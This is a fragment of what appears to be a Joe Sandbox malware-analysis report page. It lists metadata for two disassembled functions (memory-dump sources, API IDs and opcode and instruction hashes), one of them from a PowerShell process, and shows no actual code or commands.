                                                                                                                                Disassembly

                                                                                                                                Reset < >

                                                                                                                                  Non-executed Functions

                                                                                                                                  Function 00007FF7B16C9148 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                                                                                                  Download Yara Rule
                                                                                                                                  APIs
                                                                                                                                  Memory Dump Source
                                                                                                                                  • Source File: 00000000.00000002.1650754180.00007FF7B1361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B1360000, based on PE: true
                                                                                                                                  • Associated: 00000000.00000002.1650736777.00007FF7B1360000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1650951074.00007FF7B16DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1650951074.00007FF7B177A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1650951074.00007FF7B1786000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1650951074.00007FF7B1789000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1650951074.00007FF7B1796000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1650951074.00007FF7B17B6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1651158750.00007FF7B1867000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1651177543.00007FF7B1868000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1651193156.00007FF7B1869000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  • Associated: 00000000.00000002.1651208101.00007FF7B186B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                  • Snapshot File: hcaresult_0_2_7ff7b1360000_rZU3xTxOnl.jbxd
                                                                                                                                  Similarity
                                                                                                                                  • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                  • String ID:
                                                                                                                                  • API String ID: 2933794660-0
                                                                                                                                  • Opcode ID: 93347423d8f0e3e88f6d37dd92f5832d90baf0b10d7c2c1d96b810f58081df87
                                                                                                                                  • Instruction ID: 00dbc71e421ee4a7710954d856b7ed363c7fbf2345001520d539ff0d1f69c3e9
                                                                                                                                  • Opcode Fuzzy Hash: 93347423d8f0e3e88f6d37dd92f5832d90baf0b10d7c2c1d96b810f58081df87
                                                                                                                                  • Instruction Fuzzy Hash: EA115122B14F0589EB00DF64E8442B873A4FB2A75CF440D35DB1D867A8DF7CD1648350

                                                                                                                                  Executed Functions

                                                                                                                                  Function 00007FFB4B4F33B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                  Download Yara Rule
                                                                                                                                  Memory Dump Source
                                                                                                                                  • Source File: 00000009.00000002.1500484717.00007FFB4B4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4F0000, based on PE: false
                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                  • Snapshot File: hcaresult_9_2_7ffb4b4f0000_powershell.jbxd
                                                                                                                                  Similarity
                                                                                                                                  • API ID:
                                                                                                                                  • String ID:
                                                                                                                                  • API String ID:
                                                                                                                                  • Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
                                                                                                                                  • Instruction ID: 61d6e0f6e0751281a46a5eb73cc26e145ae63b0516301615af236112973aa19e
                                                                                                                                  • Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
                                                                                                                                  • Instruction Fuzzy Hash: D301677111CB0C8FD744EF0CE451AA9B7E0FB95364F10056DE58AC3661DB36E892CB45